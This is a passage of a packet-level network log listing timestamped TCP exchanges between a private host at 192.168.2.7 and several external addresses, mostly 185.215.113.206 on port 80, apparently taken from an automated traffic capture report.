Nov 19, 2024 20:05:47.783440113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783452034 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783477068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.783477068 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.783546925 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.783608913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783708096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783719063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783720970 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.783768892 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.783870935 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.783881903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784075975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784122944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784136057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784189939 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784189939 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784298897 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784347057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784358978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784369946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784408092 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784408092 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784470081 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784481049 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784499884 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784512043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784516096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784554005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784554005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784725904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784745932 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784756899 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784765959 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784769058 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784780979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784792900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784804106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.784830093 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784830093 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784830093 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.784864902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.785197020 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.785212994 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.785268068 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.785274982 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.785310030 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.804197073 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.804212093 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.804244041 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.804251909 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.804269075 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.804286957 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.804337978 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.804337978 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.806339025 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.806355000 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.806406021 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.806411028 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.806442976 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.806466103 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.817496061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.817518950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.817529917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.817564964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.817620993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.817620993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.817636967 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.817648888 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.817682028 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.817718983 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.817730904 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.817800999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.817815065 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.817822933 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.817876101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818283081 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818329096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818340063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818340063 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818414927 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818427086 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818450928 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818450928 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818521023 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818532944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818545103 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818566084 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818566084 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818614960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818640947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818671942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818671942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818732977 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818742990 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818754911 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818768024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818802118 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818803072 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818870068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818888903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818905115 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818953991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818964005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818977118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.818995953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.818995953 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819008112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819019079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819037914 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819037914 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819077969 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819077969 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819158077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819169998 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819180012 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819247007 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819253922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819266081 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819277048 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819319010 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819319010 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819462061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819473982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819489002 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819500923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819511890 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819525003 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819529057 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819529057 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819603920 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819736004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819746971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819758892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819771051 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819777966 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819785118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819796085 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.819822073 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.819822073 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.820094109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820103884 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820116997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820127964 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820151091 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.820151091 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.820239067 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.820332050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820344925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820355892 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820367098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820379019 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820390940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820403099 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820404053 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.820404053 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.820414066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820424080 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.820430040 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.820466042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.820466042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.821706057 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.821791887 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.821846962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.821913958 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.822031021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.822200060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.822213888 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.822227955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.822259903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.822259903 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823580980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823595047 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823721886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823724985 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823734999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823745012 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823756933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823767900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823779106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823786974 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823786974 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823790073 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823801994 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823812962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823822975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823822975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823824883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823843956 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823854923 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823867083 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823873997 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823874950 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823878050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823889017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823900938 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823911905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823923111 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823930979 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823930979 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823934078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823947906 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823950052 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823956966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.823993921 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.823993921 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.832567930 CET	443	52503	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:47.832710028 CET	443	52503	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:47.832814932 CET	52503	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:47.833971977 CET	52503	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:47.833986044 CET	443	52503	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:47.842199087 CET	52521	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:47.842206955 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:47.842247009 CET	52521	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:47.842387915 CET	52521	443	192.168.2.7	23.101.168.44
Nov 19, 2024 20:05:47.842396975 CET	443	52521	23.101.168.44	192.168.2.7
Nov 19, 2024 20:05:47.869781017 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.869803905 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.869823933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.869844913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.869858980 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.869875908 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.869904995 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.869920969 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.869940042 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.869951963 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.869962931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.869975090 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.869986057 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.869987011 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870018005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870018005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870194912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870210886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870223045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870234013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870246887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870250940 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870250940 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870259047 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870268106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870275021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870311975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870311975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870390892 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.870420933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870431900 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870433092 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.870439053 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.870465040 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870470047 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.870486021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870497942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870520115 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.870539904 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870539904 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870567083 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870578051 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870589972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870613098 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870673895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870686054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870697021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870708942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870719910 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870723963 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870723963 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870784998 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870824099 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870834112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870841026 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.870891094 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.870893955 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.871081114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.871138096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.871150017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.871170998 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.871170998 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.871202946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.871215105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.871251106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.871251106 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.871273041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.871284008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.871329069 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.871378899 CET	52498	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.871390104 CET	443	52498	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.874771118 CET	443	52500	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:47.874876976 CET	443	52500	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:47.874963045 CET	52500	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:47.875349998 CET	52500	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:47.875359058 CET	443	52500	51.132.193.105	192.168.2.7
Nov 19, 2024 20:05:47.875384092 CET	52500	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:47.875468969 CET	52500	443	192.168.2.7	51.132.193.105
Nov 19, 2024 20:05:47.893770933 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.893805981 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.893832922 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.893843889 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.893872023 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.893892050 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.894849062 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.894865036 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.894929886 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.894936085 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.894973993 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.895950079 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.895972013 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.895999908 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.896006107 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.896043062 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.897077084 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.897092104 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.897150040 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.897156000 CET	443	52504	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:47.897190094 CET	52504	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:47.904284954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.904335976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.904340029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.904349089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.904380083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.904427052 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.904454947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.904467106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.904479027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.904506922 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.904506922 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.904565096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.904577017 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.904620886 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.904620886 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.905076981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905097008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905107021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905127048 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.905158997 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.905184031 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905194998 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905235052 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:47.905251980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:47.905271053 CET	52448	80	192.168.2.7	185.215.113.206
